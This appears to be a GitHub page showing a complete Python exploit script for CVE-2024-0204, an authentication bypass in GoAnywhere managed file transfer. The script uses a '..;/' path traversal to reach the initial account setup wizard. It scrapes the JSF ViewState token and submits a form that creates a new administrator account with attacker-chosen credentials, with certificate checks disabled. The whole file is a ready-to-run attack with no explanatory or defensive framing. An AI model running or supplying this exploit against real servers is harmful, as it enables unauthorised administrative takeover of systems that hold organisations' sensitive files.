-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathCVE-2024-0204.py
54 lines (41 loc) · 2.04 KB
/
CVE-2024-0204.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests
from bs4 import BeautifulSoup
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def validate_password(password):
if len(password) < 8:
raise argparse.ArgumentTypeError("Password must be at least 8 characters long.")
return password
def main():
parser = argparse.ArgumentParser("CVE-2024-0204 GoAnywhere Authentication Bypass")
parser.add_argument("endpoint", help="The endpoint URL (e.g., http://127.0.0.1:8080)")
parser.add_argument("username", help="New admin username")
parser.add_argument("password", help="New admin password", type=validate_password)
args = parser.parse_args()
url = f"{args.endpoint}/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml"
data = {
"j_id_u:creteAdminGrid:username": args.username,
"j_id_u:creteAdminGrid:password_hinput": args.password,
"j_id_u:creteAdminGrid:password": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",
"j_id_u:creteAdminGrid:confirmPassword_hinput": args.password,
"j_id_u:creteAdminGrid:confirmPassword": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",
"j_id_u:creteAdminGrid:submitButton": "",
"createAdminForm_SUBMIT": 1,
}
s = requests.session()
r = s.get(url, verify=False)
if r.status_code == 401:
raise Exception("Endpoint does not appear to be vulnerable.")
soup = BeautifulSoup(r.text, "html.parser")
input_field = soup.find('input', {'name': 'javax.faces.ViewState'})
data['javax.faces.ViewState'] = input_field['value']
r = s.post(url, verify=False, data=data)
if r.status_code != 200:
raise Exception("Failed to create new admin user")
soup = BeautifulSoup(r.text, "html.parser")
error_message = soup.find("span", {"class": "ui-messages-error-summary"})
if error_message is not None:
raise Exception(error_message.text)
if __name__ == "__main__":
main()